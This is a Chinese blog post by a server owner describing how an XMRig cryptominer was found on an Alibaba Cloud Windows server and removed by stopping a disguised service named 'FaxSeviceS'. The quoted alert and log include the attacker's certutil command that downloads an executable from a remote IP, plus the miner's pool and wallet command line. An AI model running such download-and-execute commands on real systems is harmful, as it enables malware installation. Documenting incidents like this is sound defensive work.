阿里云服务器中招挖矿病毒XMrig miner解决方法

今天阿里云的项目经理给我打电话问我的服务器是否没有使用计划，确实自从上次中毒后就没再使用。今天登录阿里云服务器 WindowsServer2012 远程桌面，发现XMrig miner.exe cpu进程占用高达80%以上，cpu总占用达到99%，查了下时间是昨天十点开始进程占用率奇高的，因此我知道头痛的事情又来了：挖矿病毒又回来了。。。

查了一下告警信息，如下：

该告警由如下引擎检测发现：
执行命令的进程：xxxxx/oracle/product/11.2.1/db_1/database/System
恶意文件md5：1da0bf986119a583285499047edcd74a
进程id：9,332
描述：通常黑客入侵后会植入挖矿程序赚取收益，该类程序占用CPU等资源，影响用户正常业务，危害较大。且该程序可能还存在自删除行为，
或伪装成系统程序以躲避检测。如果发现该文件不存在，请检查是否存在可疑进程、定时任务或启动项。具体详情可查看帮助：https://helpcdn.aliyun.com/knowledge_detail/41206.html该告警由如下引擎检测发现：
父进程路径：xxxxx/oracle/product/11.2.1/db_1/BIN/oracle.exe
父进程命令行：xxxxx\oracle\product\11.2.1\db_1\bin\ORACLE.EXE ORCL
父进程id：1384
进程id：11736
URL链接：http://120.167.68.2:807/fax3.exe
进程路径：C:/Windows/SysWOW64/cmd.exe
命令行参数：cmd /c certutil.exe -urlcache -split -f http://60.12.77.171:807/fax3.exe

明显是通过 oracle 的进程从官网上下载程序，安装并植入。

采取步骤

先备份所有必须的文件
杀掉任务管理器的XMrig miner.exe进程
查看Window 日志管理器

尝试1 任务管理器，强制关闭进程。
【结果】没用

尝试2 搜索windows如何终止可启动的进程

发现系统的调度程序会自动启动该程序

【结果】没用

尝试3 结合日志管理器【解决】
发现只要终止进程，就会在日志管理器上产生一个日志

Started C:\oracle\product\11.2.1\db_1\DATABASE\System -a cn/r -o
stratum+tcp://pool.supportxmr.com:5555 -u 47BoNDRZPB9VZ6fHZvHJUvFGV7J76d6zxPAP9Z5K879EKMLD4cecEnKJsH2FHBwgZwaFahLPKCaBtPcCEt4wmePo2VwXKgy -p xin--donate-level 1 for service FaxSeviceS in C:\oracle\product\11.2.1\db_1\DATABASE.pool.supportxmr.com:5555C:\oracle\product\11.2.1\db_1\DATABASE\Process.exe

重点就是“ service FaxSeviceS ” 这个是服务的名字！
那么，在服务窗口，停止服务，
接下来，终止进程
再后来，删除可疑文件

问题【解决】

但是并不知道重启服务器还会不会有，因为我的oracle进程会一直运行的，希望有其他人能给出更好的解决方案。

阿里云服务器中招挖矿病毒XMrig miner解决方法相关推荐

【Linux环境】SSH突然无法连接【排查2个小时最终解决Failed to start OpenSSH server daemon】及【阿里云服务器的 kdevtmpfsi 挖矿病毒处理】
说明我有两台云服务器,一台阿里的(买了1年),一台腾讯的(买了3年),都是基本配置1核心2G内存(阿里云盘是40G腾讯的是50G),这几天一直收到阿里云的短信说出现了紧急安全事件:恶意脚本代码执行- ...
阿里云服务器漏洞phpmyadmin CVE-2016-6617 SQL注入漏洞解决方法
阿里云服务器漏洞phpmyadmin CVE-2016-6617如下图: 首先上网搜了下漏洞phpmyadmin CVE-2016-6617,有人这样回答的于是又开始搜phpmyadmin的升级 ...
阿里云服务器被[kthreaddi]挖矿病毒攻击
首先我根本https://blog.csdn.net/weixin_41599103/article/details/115403332这个博客试了下并没有成功,所以应该是被侵入的程序不一样先去阿里 ...
AWS 云服务器中kdevtmpfsi挖矿病毒处理方法
从top 命令可以看出有一个名称为kdevtmpfsi 的进程占用cpu 特别高,高达780% 8核的cpu一个进程就占用这么多,而亚马逊云平台确显示实例运行状态正常,真是感到不可理解 1 先使用 p ...
阿里云服务器centos7，git clone速度慢解决方法
sudo vim /etc/hosts 在文件末尾添加以下两行代码: 151.101.72.249 github.global.ssl.fastly.net 192.30.253.112 github ...
阿里云服务器中挖矿病毒解决办法（已实践）
1.cpu过高,中病毒了 2.进入Linux连接阿里云服务器 3.使用top命令动态查看cpu占用率两种情况 1.未发现占用率很高的进程,跳到第七步 2.发现了占用率很高的进程,使用kill -9 ...
解决阿里云服务器被恶意挖矿问题
解决阿里云服务器被恶意挖矿问题一.出现问题现象以及原因二.解决方法一.出现问题现象以及原因出现现象:阿里云控制台出现高危应急漏洞,其次CPU和内存都打满:经过问题详情的查看, 发现攻击者是在e ...
wdcp mysql数据库无法链接_MySQL数据库之阿里云服务器中centos7 解决wdcp中不能远程访问mysql服务的问题...
本文主要向大家介绍了MySQL数据库之阿里云服务器中centos7 解决wdcp中不能远程访问mysql服务的问题 ,通过具体的内容向大家展现,希望对大家学习MySQL数据库有所帮助. 1.检查mys ...
阿里云服务器中安装配置MYSQL数据库完整教程
阿里云服务器中安装配置MYSQL数据库完整教程第一步: 确保服务器系统处于最新状态第二步: 首先检查是否已经安装,如果已经安装先删除以前版本,以免安装不成功 [root@Panghl ~]# rp ...

阿里云服务器中招挖矿病毒XMrig miner解决方法

采取步骤

阿里云服务器中招挖矿病毒XMrig miner解决方法相关推荐

最新文章

热门文章